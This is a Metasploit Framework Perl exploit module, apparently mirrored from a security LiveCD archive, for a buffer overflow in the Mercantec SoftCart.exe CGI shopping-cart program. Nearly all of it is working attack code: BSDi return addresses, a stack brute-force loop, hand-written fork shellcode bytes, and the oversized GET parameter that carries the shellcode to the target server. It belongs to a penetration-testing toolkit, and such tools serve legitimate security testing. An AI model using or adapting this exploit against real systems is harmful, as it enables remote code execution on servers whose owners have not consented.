home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / mercantec_softcart.pm < prev    next >
Text File  |  2006-06-30  |  5KB  |  207 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::mercantec_softcart;
  11.  
  12. use strict;
  13. use base "Msf::Exploit";
  14.  
  15. my $advanced =
  16.   {
  17.     'StackBottom'   => [ '', 'Start address for stack ret.'                ],
  18.     'StackTop'      => [ '', 'Stop address for stack ret.'                 ],
  19.     'StackStep'     => [ 0,  'Number of bytes to increment between steps.' ],
  20.     'BruteWait'     => [ 0,  'Number of seconds to wait between steps.'    ],
  21.   };
  22.  
  23. my $info =
  24.   {
  25.     'Name'          => 'Mercantec SoftCart CGI Overflow',
  26.     'Version'       => '$Revision: 1.12 $',
  27.     'Authors'       =>
  28.       [
  29.         'skape <mmiller [at] hick.org>',
  30.         'trew <trew [at] exploit.us>'
  31.       ],
  32.       
  33.     'Description'   =>
  34.       qq{
  35.             This is an exploit for an undisclosed buffer overflow
  36.             in the SoftCart.exe CGI as shipped with Mercantec's shopping
  37.             cart software.  It is possible to execute arbitrary code by
  38.             passing a malformed CGI parameter in an HTTP GET request.
  39.             This issue is known to affect SoftCart version 4.00b.
  40. },
  41.  
  42.     'Arch'          => [ 'x86' ],
  43.     'OS'            => [ 'bsdi' ],
  44.     'Priv'          => 0,
  45.  
  46.     'UserOpts'      =>
  47.       {
  48.         'RHOST'   => [ 1, 'ADDR', 'The target HTTP server address'                         ],
  49.         'RPORT'   => [ 1, 'PORT', 'The target HTTP server port',   80                      ],
  50.         'VHOST'   => [ 1, 'DATA', 'The target HTTP virtual host',  'auto'                  ],
  51.         'URI'     => [ 1, 'DATA', 'The target CGI URI',            '/cgi-bin/SoftCart.exe' ],
  52.       },
  53.  
  54.     'Payload'       =>
  55.       {
  56.         'Space'   => 1000, # tons
  57.         'MinNops' => 16,
  58.         'BadChars'=> "\x09\x0a\x0b\x0c\x0d\x20\x27\x5c\x3c\x3e" .
  59.           "\x3b\x22\x60\x7e\x24\x5e\x2a\x26\x7c\x7b" .
  60.           "\x7d\x28\x29\x3f\x5d\x5b\x00",
  61.         'PrependEncoder' => "\x83\xec\x7f", # sub $0x7f, %esp
  62.       },
  63.  
  64.     'Refs'          =>
  65.       [
  66.         ['OSVDB', '9011'],
  67.         ['MIL',   '38'],
  68.       ],
  69.  
  70.     'DefaultTarget' => -1,
  71.  
  72.     'Targets'       =>
  73.       [
  74.  
  75.         # Name                   Bottom/Ret  Top
  76.         [ 'BSDi/4.3 Bruteforce', 0xefbf3000, 0xefbffffc ],
  77.         [ 'BSDi/4.3',            0xefbf4b8e, 0x0        ],
  78.       ],
  79.       
  80.     'Keys'  => ['softcart'],
  81.  
  82.     'DisclosureDate' => 'Aug 19 2004',
  83.   };
  84.  
  85. sub new
  86. {
  87.     my $class = shift;
  88.     my $self;
  89.  
  90.     $self = $class->SUPER::new(
  91.         {
  92.             'Info'     => $info,
  93.             'Advanced' => $advanced,
  94.         },
  95.         @_);
  96.  
  97.     return $self;
  98. }
  99.  
  100. #
  101. # We must fork our child before doing fun stuff.
  102. #
  103. sub PayloadPrepend
  104. {
  105.     my $self = shift;
  106.  
  107.     return "\x6a\x02\x58\x50\x9a\x00\x00\x00\x00\x07\x00" .
  108.       "\x85\xd2\x75\x0a\x31\xc0\x40\x9a\x00\x00\x00" .
  109.       "\x00\x07\x00";
  110. }
  111.  
  112. sub Exploit
  113. {
  114.     my $self = shift;
  115.     my $targetIdx  = $self->GetVar('TARGET');
  116.     my $payload    = $self->GetVar('EncodedPayload');
  117.     my $shellcode  = $payload->Payload;
  118.     my $target     = $self->Targets->[$targetIdx];
  119.     my $ret        = $target->[1];
  120.     my $valid;
  121.  
  122.     $self->PrintLine('[*] Trying exploit target ' . $target->[0]);
  123.  
  124.     if ($target->[0] =~ /Bruteforce/)
  125.     {
  126.         my $stackTop    = hex($self->GetLocal('StackTop'));
  127.         my $stackBottom = hex($self->GetLocal('StackBottom'));
  128.         my $stackStep   = $self->GetLocal('StackStep');
  129.         my $wait        = $self->GetLocal('BruteWait');
  130.  
  131.         $stackBottom = $target->[1] if ($stackBottom == 0);
  132.         $stackTop    = $target->[2] if ($stackTop == 0);
  133.         $stackStep   = $payload->NopsLength if ($stackStep == 0);
  134.  
  135.         $self->PrintLine(sprintf('[*] Brute forcing %.8x => %.8x (step %d)...',
  136.                 $stackBottom, $stackTop, $stackStep));
  137.  
  138.         # Loop through addresses, incrementing by stackStep each interval
  139.         for ($ret = $stackBottom, $valid = $ret + length($shellcode);
  140.             $ret < $stackTop;
  141.             $ret = $self->StepAddress(Address => $ret, StepSize => $stackStep, Direction => 1),
  142.             $valid = $self->StepAddress(Address => $valid, StepSize => $stackStep, Direction => 1))
  143.         {
  144.  
  145.             # Wrap valid around if it goes past the top
  146.             $valid = $stackBottom if ($valid >= $stackTop);
  147.  
  148.             $self->PrintLine(sprintf("[*] Trying %.8x...", $ret));
  149.  
  150.             last if (not defined($self->transmitExploit(target => $target,
  151.                         shellcode => $shellcode, ret => $ret, valid => $valid)));
  152.  
  153.             sleep($wait);
  154.         }
  155.     }
  156.     else
  157.     {
  158.         $valid = $ret + length($shellcode);
  159.  
  160.         $self->transmitExploit(target => $target,
  161.             shellcode => $shellcode, ret => $ret, valid => $valid);
  162.     }
  163. }
  164.  
  165. sub transmitExploit
  166. {
  167.     my $self = shift;
  168.     my ($target, $shellcode, $ret, $valid) = @{{@_}}{qw/target shellcode ret valid/};
  169.     my $targetHost = $self->GetVar('RHOST');
  170.     my $targetPort = $self->GetVar('RPORT');
  171.     my $vhost      = $self->GetVar('VHOST');
  172.     my $uri        = $self->GetVar('URI');
  173.     my $bof;
  174.     my $s;
  175.  
  176.     $vhost = $targetHost if (not defined($vhost) or $vhost eq 'auto');
  177.  
  178.     # Build payload
  179.     $bof  = "MAA+scstoreB";
  180.     $bof .= "A" x (524 - length($bof));
  181.     $bof .= pack("V", $ret);
  182.     $bof .= "MSF!";
  183.     $bof .= pack("V", $valid);
  184.     $bof .= $shellcode;
  185.  
  186.     my $s = Msf::Socket::Tcp->new
  187.       (
  188.         'PeerAddr'  => $targetHost,
  189.         'PeerPort'  => $targetPort,
  190.         'LocalPort' => $self->GetVar('CPORT'),
  191.         'SSL'       => $self->GetVar('SSL'),
  192.       );
  193.     if ($s->IsError) {
  194.         $self->PrintError;
  195.         return;
  196.     }
  197.  
  198.     # << pow! >>
  199.     $s->Send("GET $uri?$bof HTTP/1.0\r\n" .
  200.           "Host: $vhost\r\n"           .
  201.           "\r\n");
  202.  
  203.     return 1;
  204. }
  205.  
  206. 1;
  207.